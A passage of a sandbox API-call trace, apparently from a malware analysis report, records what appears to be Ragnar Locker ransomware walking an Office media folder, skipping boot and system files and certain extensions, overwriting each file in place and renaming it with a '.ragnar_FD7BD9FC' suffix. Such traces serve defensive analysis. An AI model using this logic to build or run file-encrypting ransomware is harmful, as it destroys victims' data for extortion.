Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.ragnar_FD7BD9FC" [0096.614] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.615] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28673f00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcbd9a60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28673f00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18210_.WMF", cAlternateFileName="")) returned 1 [0096.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.615] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18210_.WMF" | out: lpString1="BD18210_.WMF") returned="BD18210_.WMF" [0096.615] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF") returned=".WMF" [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="autorun.inf") returned 1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="boot.ini") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="bootfont.bin") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="bootsect.bak") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="bootmgr") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="bootmgr.efi") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="desktop.ini") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="iconcache.db") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="ntldr") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="ntuser.dat") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="ntuser.ini") returned -1 [0096.615] lstrcmpiW (lpString1="BD18210_.WMF", lpString2="thumbs.db") returned -1 [0096.615] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.616] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf")) returned 0x20 [0096.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.616] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3148) returned 1 [0096.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.616] GetProcessHeap () returned 0x580000 [0096.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.616] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.618] VirtualAlloc (lpAddress=0x0, dwSize=0xc4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.618] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc4c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc4c, lpOverlapped=0x0) returned 1 [0096.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.619] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.619] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc4c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc4c, lpOverlapped=0x0) returned 1 [0096.619] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.619] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.619] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.619] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.619] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.619] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.619] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.619] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.620] GetProcessHeap () returned 0x580000 [0096.620] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.620] CloseHandle (hObject=0xf4) returned 1 [0096.620] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" [0096.620] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.ragnar_FD7BD9FC" [0096.620] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.620] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18211_.WMF", cAlternateFileName="")) returned 1 [0096.620] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.620] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18211_.WMF" | out: lpString1="BD18211_.WMF") returned="BD18211_.WMF" [0096.621] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF") returned=".WMF" [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="autorun.inf") returned 1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="boot.ini") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="bootfont.bin") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="bootsect.bak") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="bootmgr") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="bootmgr.efi") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="desktop.ini") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="iconcache.db") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="ntldr") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="ntuser.dat") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="ntuser.ini") returned -1 [0096.621] lstrcmpiW (lpString1="BD18211_.WMF", lpString2="thumbs.db") returned -1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.621] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf")) returned 0x20 [0096.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.622] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1848) returned 1 [0096.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.622] GetProcessHeap () returned 0x580000 [0096.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.622] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.623] VirtualAlloc (lpAddress=0x0, dwSize=0x738, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.624] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x738, lpOverlapped=0x0) returned 1 [0096.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.624] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x738, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.624] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x738, lpOverlapped=0x0) returned 1 [0096.624] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x738, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.624] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x738, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.624] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.624] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.625] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.625] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.625] GetProcessHeap () returned 0x580000 [0096.625] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.625] CloseHandle (hObject=0xf4) returned 1 [0096.625] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" [0096.625] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.ragnar_FD7BD9FC" [0096.625] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.625] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85941c00, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85941c00, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18212_.WMF", cAlternateFileName="")) returned 1 [0096.626] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.626] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18212_.WMF" | out: lpString1="BD18212_.WMF") returned="BD18212_.WMF" [0096.626] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF") returned=".WMF" [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="autorun.inf") returned 1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="boot.ini") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="bootfont.bin") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="bootsect.bak") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="bootmgr") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="bootmgr.efi") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="desktop.ini") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="iconcache.db") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="ntldr") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="ntuser.dat") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="ntuser.ini") returned -1 [0096.626] lstrcmpiW (lpString1="BD18212_.WMF", lpString2="thumbs.db") returned -1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.626] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf")) returned 0x20 [0096.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.627] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=15708) returned 1 [0096.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.627] GetProcessHeap () returned 0x580000 [0096.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.627] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.628] VirtualAlloc (lpAddress=0x0, dwSize=0x3d5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.629] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.629] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3d5c, lpOverlapped=0x0) returned 1 [0096.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.630] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.630] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d5c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3d5c, lpOverlapped=0x0) returned 1 [0096.630] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.630] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.630] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.630] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.630] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.630] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.631] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.631] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.631] GetProcessHeap () returned 0x580000 [0096.631] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.631] CloseHandle (hObject=0xf4) returned 1 [0096.631] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" [0096.631] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 